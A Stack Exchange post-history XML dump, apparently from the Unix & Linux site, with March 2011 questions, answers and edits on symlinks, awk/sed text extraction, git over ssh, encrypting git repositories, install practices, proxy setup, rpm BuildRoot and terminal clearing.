  <row Id="24910" PostHistoryTypeId="2" PostId="10368" RevisionGUID="0a26319b-22ec-4750-a206-553150ed92e3" CreationDate="2011-03-31T11:54:57.770" UserId="5785" Text="Maybe packing your repo in an GPG encrypted tar. It's possible to delete the private key from your home each time, so your repo will be almost undecryptable. Each time you log-in, you write the private key to your home, decrypt the repo, and use it." />
  <row Id="24911" PostHistoryTypeId="25" PostId="10365" RevisionGUID="26bfbf55-f779-4933-9dcf-e46839aa38e5" CreationDate="2011-03-31T12:00:20.590" Comment="http://twitter.com/#!/StackUnix/status/53426398123143168" />
  <row Id="24912" PostHistoryTypeId="2" PostId="10369" RevisionGUID="2d4c1567-e028-420e-94c5-9fa5ac090333" CreationDate="2011-03-31T12:00:48.327" UserId="6149" Text="It sounds to me like there is a firewall in place blocking access to the outside world and the proxy server handles the required access to FTP and the web." />
  <row Id="24913" PostHistoryTypeId="2" PostId="10370" RevisionGUID="804187fb-147e-4fe6-adde-7288d0cdb4a7" CreationDate="2011-03-31T12:10:50.393" UserId="5358" Text="I can do this:&#xD;&#xA;&#xD;&#xA;    $ pwd&#xD;&#xA;    /home/beau&#xD;&#xA;    $ ln -s /home/beau/foo/bar.txt /home/beau/bar.txt&#xD;&#xA;    $ readlink -f bar.txt&#xD;&#xA;    /home/beau/foo/bar.txt&#xD;&#xA;&#xD;&#xA;But I'd like to be able to do this:&#xD;&#xA;    &#xD;&#xA;    $ pwd&#xD;&#xA;    /home/beau&#xD;&#xA;    $ cd foo&#xD;&#xA;    $ ln -s bar.txt /home/beau/bar.txt&#xD;&#xA;    $ readlink -f /home/beau/bar.txt&#xD;&#xA;    /home/beau/foo/bar.txt&#xD;&#xA;&#xD;&#xA;Is this possible? Can I somehow resolve the relative pathname and pass it to `ln`?" />
  <row Id="24914" PostHistoryTypeId="1" PostId="10370" RevisionGUID="804187fb-147e-4fe6-adde-7288d0cdb4a7" CreationDate="2011-03-31T12:10:50.393" UserId="5358" Text="Make a symbolic link to a relative pathname" />
  <row Id="24915" PostHistoryTypeId="3" PostId="10370" RevisionGUID="804187fb-147e-4fe6-adde-7288d0cdb4a7" CreationDate="2011-03-31T12:10:50.393" UserId="5358" Text="ésymlinkà" />
  <row Id="24916" PostHistoryTypeId="2" PostId="10371" RevisionGUID="625005c1-6268-4836-a65b-dc2fe64b0792" CreationDate="2011-03-31T12:28:35.243" UserId="6167" Text="If you create a relative path to a symbolic link, it will store it as a relative symbolic link, not absolute like your example shows.  This is generally a good thing. Absolute symbolic links don't work when the filesystem is mounted elsewhere.  The reason your example doesn't work is that it's relative to the parent directory if the symbolic link and not where ln is run." />
  <row Id="24917" PostHistoryTypeId="2" PostId="10372" RevisionGUID="052bad7a-e75a-45d8-82ea-f990b366f674" CreationDate="2011-03-31T12:29:13.747" UserId="5923" Text="You could try:&#xD;&#xA;&#xD;&#xA;    ln -s `pwd`/bar.txt /home/beau/bar.txt&#xD;&#xA;&#xD;&#xA;But, it makes a symbolic link to the absolute pathname. Your textual question asks mentions relative pathname...&#xD;&#xA;&#xD;&#xA;Normally, a relative pathname is what you want, and what `ln -s` gives you.&#xD;&#xA;I think what you want is:&#xD;&#xA;&#xD;&#xA;    cd /home/beau&#xD;&#xA;    ln -s foo/bar.txt bar.txt&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24918" PostHistoryTypeId="2" PostId="10373" RevisionGUID="77eee1b8-eac6-4ab1-a06e-f2bb9549cf1b" CreationDate="2011-03-31T12:29:38.413" UserId="4949" Text="Sorry, no. Symbolic links are relative to the location the link is in, not the location you were when you created the link. There are several good reasons for this behavior, most of which involve mounting remote filesystems." />
  <row Id="24919" PostHistoryTypeId="17" PostId="10375" RevisionGUID="43375e11-449b-4b8e-969f-bb621c257578" CreationDate="2011-03-31T13:08:03.113" UserId="-1" Comment="from http://stackoverflow.com/questions/5487267/getting-text-from-last-marker-to-eof-in-posix-2/5498137#5498137" Text="" />
  <row Id="24920" PostHistoryTypeId="2" PostId="10375" RevisionGUID="7664b166-9ce3-45a4-9ce1-b8ef5944532c" CreationDate="2011-03-31T10:03:44.887" UserDisplayName="Mackie Messer" Text="A two pass strategy seems to be the right thing. Instead of sed I would use `awk(1)`. The second pass could look like this:&#xD;&#xA;&#xD;&#xA;    $ LINE=200; awk &quot;NR&gt;$LINE&quot; file&#xD;&#xA;&#xD;&#xA;This should not require excessive buffering." />
  <row Id="24921" PostHistoryTypeId="2" PostId="10374" RevisionGUID="3360fbfc-3ab6-41b0-a39e-875f1cdffe80" CreationDate="2011-03-30T13:52:45.177" UserDisplayName="pooh" Text="I have a text with marker lines like:&#xD;&#xA;&#xD;&#xA;    aaa&#xD;&#xA;    ---&#xD;&#xA;    bbb&#xD;&#xA;    ---&#xD;&#xA;    ccc&#xD;&#xA;&#xD;&#xA;I need to get a text from the last marker (not inclusive) to EOF. In this case it will be&#xD;&#xA;&#xD;&#xA;    ccc&#xD;&#xA;&#xD;&#xA;Is there an elegant way within POSIX.2? Right now i use two runs - first with nl and grep for the last occurrence with respective line number. Then i extract the line number and use `sed` to extract the chunk in question.&#xD;&#xA;&#xD;&#xA;The text segments may be quite large so i'm afraid to use some text-adding method like we add the text to a buffer, if we encounter the marker we empty the buffer, so that at EOF we have our last chunk in the buffer.&#xD;&#xA;&#xD;&#xA;Upd: 5 views for 24 hours, so i'll update the tags so incorrect ones:(" />
  <row Id="24922" PostHistoryTypeId="1" PostId="10374" RevisionGUID="3360fbfc-3ab6-41b0-a39e-875f1cdffe80" CreationDate="2011-03-30T13:52:45.177" UserDisplayName="pooh" Text="Getting text from last marker to EOF in POSIX.2" />
  <row Id="24923" PostHistoryTypeId="3" PostId="10374" RevisionGUID="3360fbfc-3ab6-41b0-a39e-875f1cdffe80" CreationDate="2011-03-30T13:52:45.177" UserDisplayName="pooh" Text="éposixà" />
  <row Id="24924" PostHistoryTypeId="17" PostId="10374" RevisionGUID="8721e7bf-92b1-4cf6-a4ed-17648132d180" CreationDate="2011-03-31T13:08:03.113" UserId="-1" Comment="from http://stackoverflow.com/questions/5487267/getting-text-from-last-marker-to-eof-in-posix-2" Text="" />
  <row Id="24925" PostHistoryTypeId="5" PostId="10375" RevisionGUID="d45612be-c57d-4c69-8326-5cc5543bbd4b" CreationDate="2011-03-31T13:17:04.667" UserId="6188" Comment="added 129 characters in body" Text="A two pass strategy seems to be the right thing. Instead of sed I would use `awk(1)`. The two passes could look like this:&#xD;&#xA;&#xD;&#xA;    $ LINE=`awk '/^---$/{n=NR}END{print n}' file`&#xD;&#xA;&#xD;&#xA;to get the line number. And then echo all text starting from that line number with:&#xD;&#xA;&#xD;&#xA;    $ awk &quot;NR&gt;$LINE&quot; file&#xD;&#xA;&#xD;&#xA;This should not require excessive buffering." />
  <row Id="24926" PostHistoryTypeId="5" PostId="8353" RevisionGUID="3bfc2995-eabe-4a0b-9376-a957cdcbeb88" CreationDate="2011-03-31T13:20:10.710" UserId="3389" Comment="deleted 1 characters in body" Text="TL;DR History of UNIX:&#xD;&#xA;&#xD;&#xA;- 60's: Multics&#xD;&#xA;&#xD;&#xA;- 70's: Hippies are paid to develop an OS for AT&amp;T.  They stole ideas from Multics and timesharing systems, and had to make it super efficient to work on a PDP-11, which is about equivalent in processing power to a NES.&#xD;&#xA;&#xD;&#xA;- 80's: Companies find that UNIX is pretty neat and try to sell it.  This includes Microsoft with their variant, XENIX.  They fight amongst/sue each other, splinter UNIX into incompatible proprietary dialects, and run UNIX into the ground.&#xD;&#xA;&#xD;&#xA;- 90's: Linus Torvalds + 200,000 people from the Internet hack Minix, an educational UNIX, into a x86 Unix clone called Linux and it grows slowly while Microsoft says &quot;Screw this UNIX crap&quot; and develops NT, stealing ideas from VMS.&#xD;&#xA;&#xD;&#xA;- 00's: Linux grows, becomes respected server OS.  Proprietary UNIXes are on permanent decline.  Smartphones/mobile devices coming into the picture.  Google twists Linux into a mobile OS, and other companies flirt with putting Linux on mobile devices." />
  <row Id="24927" PostHistoryTypeId="2" PostId="10376" RevisionGUID="95a673a0-46e8-45a7-a8ea-bf5e4896fba6" CreationDate="2011-03-31T13:23:04.170" UserId="4069" Text="alright after various troubles i created a bare git repository and pushed to as root now i su myuser and did the below. Why is ssh failing? i can clone it by using the local path and whoami shows me i am not root/i am the user i intended to be. Just to make sure i have the addr right i wrote `ssh myuser@mybox.net -p 1234` by copy/pasting the info rather then typing it.&#xD;&#xA;&#xD;&#xA;I dont understand why ssh isnt working. I know i had it working on this remote box however i upgraded from debian lenny to squeeze and recently i made various config changes. I dont understand why i cant use git with ssh here.&#xD;&#xA;&#xD;&#xA;    &gt;whoami&#xD;&#xA;    myuser&#xD;&#xA;    &gt;mkdir t&#xD;&#xA;    &gt;cd t&#xD;&#xA;    &gt;git clone ssh://myuser@mybox.net:1234/git3&#xD;&#xA;    &#xD;&#xA;    Cloning into git3...&#xD;&#xA;    myuser@mybox.net's password:&#xD;&#xA;    fatal: '/git3' does not appear to be a git repository&#xD;&#xA;    fatal: The remote end hung up unexpectedly&#xD;&#xA;    &#xD;&#xA;    &gt;git clone /home/myuser/git3&#xD;&#xA;    Cloning into git3...&#xD;&#xA;    done.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24928" PostHistoryTypeId="1" PostId="10376" RevisionGUID="95a673a0-46e8-45a7-a8ea-bf5e4896fba6" CreationDate="2011-03-31T13:23:04.170" UserId="4069" Text="git and ssh broken?" />
  <row Id="24929" PostHistoryTypeId="3" PostId="10376" RevisionGUID="95a673a0-46e8-45a7-a8ea-bf5e4896fba6" CreationDate="2011-03-31T13:23:04.170" UserId="4069" Text="égità" />
  <row Id="24931" PostHistoryTypeId="5" PostId="10358" RevisionGUID="e4e874da-7832-4452-8da7-4e7df12b662a" CreationDate="2011-03-31T13:40:31.657" UserId="73" Comment="added 6 characters in body" Text="Try to use the `baud_rate 115200` parameter for `setserial`" />
  <row Id="24932" PostHistoryTypeId="5" PostId="10376" RevisionGUID="c364be63-0f09-4813-8e26-a56754bb0b6d" CreationDate="2011-03-31T13:42:55.853" UserId="73" Comment="deleted 28 characters in body; edited tags; edited title" Text="I created a bare git repository and pushed to as root. Then I ran `su myuser` and ran the following commands:&#xD;&#xA;&#xD;&#xA;    $ whoami&#xD;&#xA;    myuser&#xD;&#xA;    $ mkdir t&#xD;&#xA;    $ cd t&#xD;&#xA;    $ git clone ssh://myuser@mybox.net:1234/git3&#xD;&#xA;    &#xD;&#xA;    Cloning into git3...&#xD;&#xA;    myuser@mybox.net's password:&#xD;&#xA;    fatal: '/git3' does not appear to be a git repository&#xD;&#xA;    fatal: The remote end hung up unexpectedly&#xD;&#xA;    &#xD;&#xA;    $ git clone /home/myuser/git3&#xD;&#xA;    Cloning into git3...&#xD;&#xA;    done.&#xD;&#xA;&#xD;&#xA;Why is ssh failing? I can clone it by using the local path, and `whoami` shows myuser -- I am not root. Just to make sure I have the addr right I wrote `ssh myuser@mybox.net -p 1234` by copy/pasting the info rather then typing it.&#xD;&#xA;&#xD;&#xA;I don't understand why ssh isn't working. I know i had it working on this remote box, but I upgraded from debian lenny to squeeze and recently I made various config changes. I don't understand why I can't use git with ssh here.&#xD;&#xA;" />
  <row Id="24933" PostHistoryTypeId="4" PostId="10376" RevisionGUID="c364be63-0f09-4813-8e26-a56754bb0b6d" CreationDate="2011-03-31T13:42:55.853" UserId="73" Comment="deleted 28 characters in body; edited tags; edited title" Text="Unable to git clone over ssh" />
  <row Id="24934" PostHistoryTypeId="6" PostId="10376" RevisionGUID="c364be63-0f09-4813-8e26-a56754bb0b6d" CreationDate="2011-03-31T13:42:55.853" UserId="73" Comment="deleted 28 characters in body; edited tags; edited title" Text="ésshàégità" />
  <row Id="24935" PostHistoryTypeId="2" PostId="10377" RevisionGUID="5297ca11-06e5-4e71-b921-2b4f9d4d1db3" CreationDate="2011-03-31T13:46:26.987" UserId="5454" Text="erm, don't you need:&#xD;&#xA;&#xD;&#xA;    $ git clone ssh://myuser@mybox.net:1234/home/myuser/git3&#xD;&#xA;&#xD;&#xA;??" />
  <row Id="24936" PostHistoryTypeId="2" PostId="10378" RevisionGUID="859b1733-5fea-4e92-b519-81a0c014af2a" CreationDate="2011-03-31T14:58:07.087" UserId="4069" Text="Heres the closes i gotten, i installed gitolite in the /Private folder using ecryptfs-utils  (`sudo apt-get install ecryptfs-utils` `adduser git` `ecryptfs-setup-private` then the rest was configuring gitolite using a root install).&#xD;&#xA;&#xD;&#xA;It worked just fine as long as someone was logged in as the user `git` using a password (`su git` using root does not work). Since the private folder activates through logging in with a password and gitolite uses RSA keys (required) the private folder is hidden thus error occurs.&#xD;&#xA;&#xD;&#xA;Is there a way i can log into my server after a reboot, type in the password and have the git user private folder available until next time the machine restarts?&#xD;&#xA;&#xD;&#xA;Or maybe theres an easy way to encrypt a folder for git repositories?" />
  <row Id="24937" PostHistoryTypeId="1" PostId="10378" RevisionGUID="859b1733-5fea-4e92-b519-81a0c014af2a" CreationDate="2011-03-31T14:58:07.087" UserId="4069" Text="How do i encypt git on my server?" />
  <row Id="24938" PostHistoryTypeId="3" PostId="10378" RevisionGUID="859b1733-5fea-4e92-b519-81a0c014af2a" CreationDate="2011-03-31T14:58:07.087" UserId="4069" Text="ésecurityàégità" />
  <row Id="24939" PostHistoryTypeId="25" PostId="10370" RevisionGUID="cf483160-be82-4616-a03a-fa2d13393e2e" CreationDate="2011-03-31T15:00:20.697" Comment="http://twitter.com/#!/StackUnix/status/53471696795090947" />
  <row Id="24944" PostHistoryTypeId="5" PostId="10378" RevisionGUID="41508fa5-5072-4943-88f9-38526c50db87" CreationDate="2011-03-31T15:47:16.080" UserId="916" Comment="Improving spelling and grammar" Text="Heres the closest I've gotten: I installed gitolite in the `/Private` folder using `ecryptfs-utils`  (`sudo apt-get install ecryptfs-utils` `adduser git` `ecryptfs-setup-private` then the rest was configuring gitolite using a root install).&#xD;&#xA;&#xD;&#xA;It worked just fine as long as someone was logged in as the user `git` using a password (`su git` using root does not work). Since the private folder activates through logging in with a password and gitolite uses RSA keys (required) the private folder is hidden thus error occurs.&#xD;&#xA;&#xD;&#xA;Is there a way i can log into my server after a reboot, type in the password and have the git user private folder available until next time the machine restarts?&#xD;&#xA;&#xD;&#xA;Or maybe theres an easy way to encrypt a folder for git repositories?" />
  <row Id="24945" PostHistoryTypeId="4" PostId="10378" RevisionGUID="41508fa5-5072-4943-88f9-38526c50db87" CreationDate="2011-03-31T15:47:16.080" UserId="916" Comment="Improving spelling and grammar" Text="How do i encrypt git on my server?" />
  <row Id="24946" PostHistoryTypeId="24" PostId="10378" RevisionGUID="41508fa5-5072-4943-88f9-38526c50db87" CreationDate="2011-03-31T15:47:16.080" Comment="Proposed by 916 approved by 73 edit id of 241" />
  <row Id="24948" PostHistoryTypeId="2" PostId="10381" RevisionGUID="487cf7f5-bcbf-4a43-b538-12b108ac6461" CreationDate="2011-03-31T15:51:35.843" UserId="6194" Text="Hello, I have a question. I have some software I am about to ship (gradschool project) and I want to know on a unix machine what the best practices are for installing software.&#xD;&#xA;&#xD;&#xA;I originally linked through /usr/local/bin my project, but recently I looked into installing it by appending to the .bashrc file for the specific user, with the special case that if the user is root, it appends to the global path rather than user specific.&#xD;&#xA;&#xD;&#xA;This bought me some easy functionality additions as I can quickly link to other resources with a single variable addition to the .bashrc folder of the installing user.&#xD;&#xA;&#xD;&#xA;However, I am begining to doubt this decison, so I ask:&#xD;&#xA;&#xD;&#xA;To append to path or not to append to path, that is the question. Whether 'tis nobler to symbolic link in /usr/local/bin. Or to take arms and append to an ever growing path variable.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;-Chris&#xD;&#xA;" />
  <row Id="24949" PostHistoryTypeId="1" PostId="10381" RevisionGUID="487cf7f5-bcbf-4a43-b538-12b108ac6461" CreationDate="2011-03-31T15:51:35.843" UserId="6194" Text="Unix install best practices, append to path or link through" />
  <row Id="24950" PostHistoryTypeId="3" PostId="10381" RevisionGUID="487cf7f5-bcbf-4a43-b538-12b108ac6461" CreationDate="2011-03-31T15:51:35.843" UserId="6194" Text="ésoftwareöinstallationàépathàébestöpractiseà" />
  <row Id="24951" PostHistoryTypeId="2" PostId="10382" RevisionGUID="b9ea32dd-8756-411c-b34d-97923d0f2a8c" CreationDate="2011-03-31T16:01:38.843" UserId="4671" Text="Don't symlink to either /usr/local/bin *or* mess with PATH. Particularly not the latter. Just write an installation program that installs stuff to a specified location. Check a similar, preferably well-known program for how it does stuff. If you can provide more details of your program, we could offer some concrete advice if you want it." />
  <row Id="24952" PostHistoryTypeId="5" PostId="10381" RevisionGUID="9d237347-d19f-428e-bad1-f43021827773" CreationDate="2011-03-31T16:07:32.850" UserId="3150" Comment="brevity - we know this is a question :)" Text="I have some software I am about to ship (gradschool project) and I want to know on a unix machine what the best practices are for installing software.&#xD;&#xA;&#xD;&#xA;I originally linked through /usr/local/bin my project, but recently I looked into installing it by appending to the .bashrc file for the specific user, with the special case that if the user is root, it appends to the global path rather than user specific.&#xD;&#xA;&#xD;&#xA;This bought me some easy functionality additions as I can quickly link to other resources with a single variable addition to the .bashrc folder of the installing user.&#xD;&#xA;&#xD;&#xA;However, I am begining to doubt this decison, so I ask:&#xD;&#xA;&#xD;&#xA;To append to path or not to append to path, that is the question. Whether 'tis nobler to symbolic link in /usr/local/bin. Or to take arms and append to an ever growing path variable.&#xD;&#xA;&#xD;&#xA;Thanks&#xD;&#xA;&#xD;&#xA;-Chris&#xD;&#xA;" />
  <row Id="24953" PostHistoryTypeId="24" PostId="10381" RevisionGUID="9d237347-d19f-428e-bad1-f43021827773" CreationDate="2011-03-31T16:07:32.850" Comment="Proposed by 3150 approved by -1 edit id of 242" />
  <row Id="24954" PostHistoryTypeId="5" PostId="10381" RevisionGUID="a60854fb-0797-42f0-9b97-53b7957b4caf" CreationDate="2011-03-31T16:07:33.300" UserId="73" Comment="deleted 23 characters in body" Text="I have some software I am about to ship (gradschool project) and I want to know on a unix machine what the best practices are for installing software.&#xD;&#xA;&#xD;&#xA;I originally linked through `/usr/local/bin` my project, but recently I looked into installing it by appending to the `.bashrc` file for the specific user, with the special case that if the user is root, it appends to the global path rather than user specific.&#xD;&#xA;&#xD;&#xA;This bought me some easy functionality additions as I can quickly link to other resources with a single variable addition to the `.bashrc` folder of the installing user.&#xD;&#xA;&#xD;&#xA;However, I am beginning to doubt this decision. To append to path or not to append to path, that is the question. Whether 'tis nobler to symbolic link in `/usr/local/bin`, or to take arms and append to an ever growing path variable.&#xD;&#xA;" />
  <row Id="24955" PostHistoryTypeId="5" PostId="10382" RevisionGUID="539025cc-9ecb-4a1b-8bac-007ed4028dd5" CreationDate="2011-03-31T16:09:35.997" UserId="4671" Comment="added 227 characters in body" Text="Don't symlink to either /usr/local/bin *or* mess with PATH. Particularly not the latter. Just write an installation program that installs stuff to a specified location. Check a similar, preferably well-known program for how it does stuff. If you can provide more details of your program, we could offer some concrete advice if you want it.&#xD;&#xA;&#xD;&#xA;Also, nobody writes installation programs from scratch. People customarily use programs like Make, Cmake, scons etc. And some languages have specialist installation software like distutils for python, if you want to use it." />
  <row Id="24957" PostHistoryTypeId="2" PostId="10383" RevisionGUID="26bbad36-e23e-4841-94c6-b6ee89f4fa4d" CreationDate="2011-03-31T16:12:27.377" UserId="1956" Text="Sorry, can't post as a comment...&#xD;&#xA;&#xD;&#xA;Maybe you could mount your ssh through sshfs and use encfs inside?" />
  <row Id="24958" PostHistoryTypeId="5" PostId="10381" RevisionGUID="b1713633-2ef6-474a-b81f-15a633ef87e1" CreationDate="2011-03-31T16:27:47.760" UserId="6194" Comment="added 969 characters in body; added 3 characters in body" Text="I have some software I am about to ship (gradschool project) and I want to know on a unix machine what the best practices are for installing software.&#xD;&#xA;&#xD;&#xA;I originally linked through `/usr/local/bin` my project, but recently I looked into installing it by appending to the `.bashrc` file for the specific user, with the special case that if the user is root, it appends to the global path rather than user specific.&#xD;&#xA;&#xD;&#xA;This bought me some easy functionality additions as I can quickly link to other resources with a single variable addition to the `.bashrc` folder of the installing user.&#xD;&#xA;&#xD;&#xA;However, I am beginning to doubt this decision.&#xD;&#xA;&#xD;&#xA;To append to path or not to append to path, that is the question. Whether 'tis nobler to symbolic link in `/usr/local/bin`, or to take arms and append to an ever growing path variable.&#xD;&#xA;&#xD;&#xA;More information:&#xD;&#xA;&#xD;&#xA;It's a C++ back end with a TCL front end. There is also a java archive (created much earlier in my career) that the TCL front end launches. On top of this, there is a extension of the TCL front end that plays with another program with its own TCL interpreter. I need to provide the bwidget tcl package to the program with the interpreter. So providing the bwidget package and launching the jar file necessitates having a location to link to. Further more, I need to make it easy on the users as they are primarily chemistry users and are not very familure with unix and might be on mac.&#xD;&#xA;&#xD;&#xA;The platform nees to work on Mac or Unix.&#xD;&#xA;&#xD;&#xA;Ideally I want the user to be able to launch the TCL script with a single command and not make them remember the location.&#xD;&#xA;&#xD;&#xA;This is a previously closed source project that is now open source and we want users to be able to easily compile and install the program&#xD;&#xA;&#xD;&#xA;I am using make to create an install option." />
  <row Id="24959" PostHistoryTypeId="2" PostId="10384" RevisionGUID="e19435f1-b088-49a4-a310-d5fe68b67439" CreationDate="2011-03-31T16:46:01.543" UserId="4667" Text="Use &quot;[tac][1]&quot; which outputs a file's lines from end to beginning:&#xD;&#xA;&#xD;&#xA;    tac afile | awk '/---/ {exit} {print}' | tac&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://linux.die.net/man/1/tac" />
  <row Id="24960" PostHistoryTypeId="2" PostId="10385" RevisionGUID="82a968fc-76f6-42be-99e7-63bd77035a9e" CreationDate="2011-03-31T17:01:25.073" UserId="1264" Text="If your proxy is not blocking the other access you need, you may have to configure the proxy for all apps/services, not only for ftp and browsers. For example, for apt you need to do:&#xD;&#xA;&#xD;&#xA;    nano /etc/apt/apt.conf&#xD;&#xA;&#xD;&#xA;    Acquire::http::Proxy &quot;http://proxy_hostname_or_ip:port/&quot;;&#xD;&#xA;&#xD;&#xA;or for authenticated access:&#xD;&#xA;&#xD;&#xA;    Acquire::http::Proxy &quot;http://user:passwd@proxy_hostname_or_ip:port/&quot;;&#xD;&#xA;&#xD;&#xA;You probably have a way to configure the proxy for everything in your config or system menu.&#xD;&#xA;" />
  <row Id="24961" PostHistoryTypeId="2" PostId="10386" RevisionGUID="9243a171-b4a8-4f97-b174-31b9bff96444" CreationDate="2011-03-31T17:24:16.527" UserId="688" Text="Here's [the file][2] you are looking for. Note that the page you linked is generated from it.&#xD;&#xA;&#xD;&#xA;It's actually part of [GLib][1] (GTK+ Library) which is part of the GNOME project, but is used by a host of other software projects. You might wanna get [a git checkout][3] for the sake of convenience.&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;  [1]: http://en.wikipedia.org/wiki/GLib&#xD;&#xA;  [2]: http://git.gnome.org/browse/glib/tree/gio/gfileinfo.c&#xD;&#xA;  [3]: http://www.gtk.org/download.html" />
  <row Id="24963" PostHistoryTypeId="2" PostId="10388" RevisionGUID="ad6dd21b-42c7-4580-ad61-e9ece21fb280" CreationDate="2011-03-31T17:48:13.940" UserId="1956" Text="I've seen packages (usually stuff you wouldn't find on a distro's package repositories) that install themselves to /opt and add .desktop files to ~/Desktop and ~/.local/share/applications to launch them." />
  <row Id="24964" PostHistoryTypeId="2" PostId="10389" RevisionGUID="64870dcd-9337-4b1e-8374-b1e1a75a8dbb" CreationDate="2011-03-31T17:56:52.067" UserId="2343" Text="    sed -n &quot;$(($(sed -n '/^---$/=' file |sed '$!d')+1))p&quot; file &#xD;&#xA;&#xD;&#xA;The first `sed` ouputs line numbers of the &quot;---&quot; lines...  &#xD;&#xA;The second `sed` extracts the last number...  &#xD;&#xA;Add 1 to that number to get the start of your &quot;ccc&quot; block...  &#xD;&#xA;The third 'sed' outputs from the start of the &quot;ccc&quot; block to EOF&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24965" PostHistoryTypeId="25" PostId="10381" RevisionGUID="fecfe061-664a-4e05-b433-82a0c6d5c522" CreationDate="2011-03-31T18:00:20.770" Comment="http://twitter.com/#!/StackUnix/status/53516995668344832" />
  <row Id="24967" PostHistoryTypeId="5" PostId="10389" RevisionGUID="a02488de-a48c-4b6d-92c9-01188fef0ed8" CreationDate="2011-03-31T18:10:33.727" UserId="2343" Comment="added 3 characters in body" Text="    sed -n &quot;$(($(sed -n '/^---$/=' file |sed '$!d')+1)),$ p&quot; file &#xD;&#xA;&#xD;&#xA;The first `sed` ouputs line numbers of the &quot;---&quot; lines...  &#xD;&#xA;The second `sed` extracts the last number...  &#xD;&#xA;Add 1 to that number to get the start of your &quot;ccc&quot; block...  &#xD;&#xA;The third 'sed' outputs from the start of the &quot;ccc&quot; block to EOF&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24968" PostHistoryTypeId="2" PostId="10391" RevisionGUID="93c5bc86-ca38-4370-a52f-e1e0f975937f" CreationDate="2011-03-31T18:13:36.703" UserId="732" Text="It's possible that DNS isn't configured correctly.  You didn't give us example error messages from ping, traceroute, etc, or the value of the &quot;http_proxy&quot; environment variable. If &quot;http_proxy&quot; just contains an IP address, and you're doing &quot;ping some_fqdn&quot;, then it's entirely possible that /etc/resolv.conf doesn't have the correct contents in it, or that /etc/nsswitch.conf isn't correct." />
  <row Id="24969" PostHistoryTypeId="2" PostId="10392" RevisionGUID="4e51e966-cd42-4a89-977f-5b4682bf49f1" CreationDate="2011-03-31T18:13:53.137" UserId="5884" Text="The good old rpm while building package in steps simply kept the content of the BuildRoot -- it was very useful for me, because if some piece of software was difficult to create, I could check BuildRoot if everything is OK.&#xD;&#xA;&#xD;&#xA;Now, with all &quot;improved&quot; rpm -- the content of BuildRoot is deleted automatically, so I cannot really dive into it (installing step is not that long).&#xD;&#xA;&#xD;&#xA;One hack I know of would be adding some kind of sleep at the end of install stage to rpm spec. But this is ugly.&#xD;&#xA;&#xD;&#xA;So -- **QUESTION** -- how to keep the content of BuildRoot in nice way -- in other words, how to disable auto delete once and for good?" />
  <row Id="24970" PostHistoryTypeId="1" PostId="10392" RevisionGUID="4e51e966-cd42-4a89-977f-5b4682bf49f1" CreationDate="2011-03-31T18:13:53.137" UserId="5884" Text="How to keep the content of the BuildRoot?" />
  <row Id="24971" PostHistoryTypeId="3" PostId="10392" RevisionGUID="4e51e966-cd42-4a89-977f-5b4682bf49f1" CreationDate="2011-03-31T18:13:53.137" UserId="5884" Text="érpmà" />
  <row Id="24975" PostHistoryTypeId="6" PostId="10352" RevisionGUID="c362fb1c-b2a6-48e9-8183-785897efcea9" CreationDate="2011-03-31T18:17:48.157" UserId="885" Comment="edited tags" Text="égnomeàésourceà" />
  <row Id="24976" PostHistoryTypeId="5" PostId="10389" RevisionGUID="7c6b97c9-5ba6-4e9a-98b9-b19ef3ba62ae" CreationDate="2011-03-31T18:18:05.543" UserId="2343" Comment="added 16 characters in body; added 28 characters in body" Text="    lnum=$(($(sed -n '/^---$/=' file | sed '$!d') +1)); sed -n &quot;${lnum},$ p&quot; file &#xD;&#xA;&#xD;&#xA;The first `sed` ouputs line numbers of the &quot;---&quot; lines...  &#xD;&#xA;The second `sed` extracts the last number from the first sed's output...  &#xD;&#xA;Add 1 to that number to get the start of your &quot;ccc&quot; block...  &#xD;&#xA;The third 'sed' outputs from the start of the &quot;ccc&quot; block to EOF&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;&#xD;&#xA;" />
  <row Id="24977" PostHistoryTypeId="2" PostId="10394" RevisionGUID="1275de5c-245f-478a-92c1-e6df17114d8a" CreationDate="2011-03-31T18:18:24.983" UserId="6200" Text="Is there a way to clear up what is displayed on the shell console (in ubuntu linux) in just a single key or two? When I get flood of lines from `grep` and that exceeds the height of the window, I want to quickly scroll back to the position where I typed the command after the prompt. I can do so if I had opened a fresh terminal before I type the command, and just go to the initial position. But if keep using the same terminal window, I have to manually find the position. `Ctrl+l` is not an answer because it just scrolls, and the contents of the terminal remains. I cannot use `less` because the colored output of grep does not show up in color.&#xD;&#xA;" />
  <row Id="24978" PostHistoryTypeId="1" PostId="10394" RevisionGUID="1275de5c-245f-478a-92c1-e6df17114d8a" CreationDate="2011-03-31T18:18:24.983" UserId="6200" Text="shell console clearing" />
  <row Id="24979" PostHistoryTypeId="3" PostId="10394" RevisionGUID="1275de5c-245f-478a-92c1-e6df17114d8a" CreationDate="2011-03-31T18:18:24.983" UserId="6200" Text="éshellàéterminalà" />
  <row Id="24980" PostHistoryTypeId="2" PostId="10395" RevisionGUID="8c42720e-f226-4646-8090-b65260ac5071" CreationDate="2011-03-31T18:22:19.533" UserId="732" Text="For me, on a more-or-less current arch linux system, `ps xf` shows me only the processes owned by my user ID.  `htop` shows me all processes.  Try `ps -ef` for a list of all processes, or perhaps `ps -ejH` to get a child/parent relationship listing." />
  <row Id="24981" PostHistoryTypeId="5" PostId="10394" RevisionGUID="757ce9cf-b433-4ea6-b1ff-a92c4752071f" CreationDate="2011-03-31T18:25:03.837" UserId="73" Comment="added 20 characters in body; edited title" Text="Is there a way to clear up what is displayed on the shell console (in ubuntu linux) in just a single key or two? When I get flood of lines from `grep` and that exceeds the height of the window, I want to quickly scroll back to the position where I typed the command after the prompt. I can do so if I had opened a fresh terminal before I type the command, and just go to the initial position. But if keep using the same terminal window, I have to manually find the position. &lt;kbd&gt;Ctrl&lt;/kbd&gt;+&lt;kbd&gt;l&lt;/kbd&gt; is not an answer because it just scrolls, and the contents of the terminal remains. I cannot use `less` because the colored output of grep does not show up in color.&#xD;&#xA;" />
